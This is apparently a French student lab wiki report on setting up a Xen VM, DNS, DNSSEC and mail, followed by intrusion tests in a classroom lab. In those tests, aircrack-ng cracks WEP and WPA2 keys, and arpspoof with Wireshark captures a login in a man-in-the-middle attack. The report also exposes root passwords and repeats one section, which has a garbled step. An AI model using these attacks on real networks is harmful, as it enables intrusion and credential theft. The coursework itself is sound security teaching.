<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53933TP sysres IMA2a5 2020/2021 G52020-11-20T08:20:51Z<p>Aglaine : /* Réception d'un message */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
on constate que on resoit bien les message en provenance du mail de Polytech.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
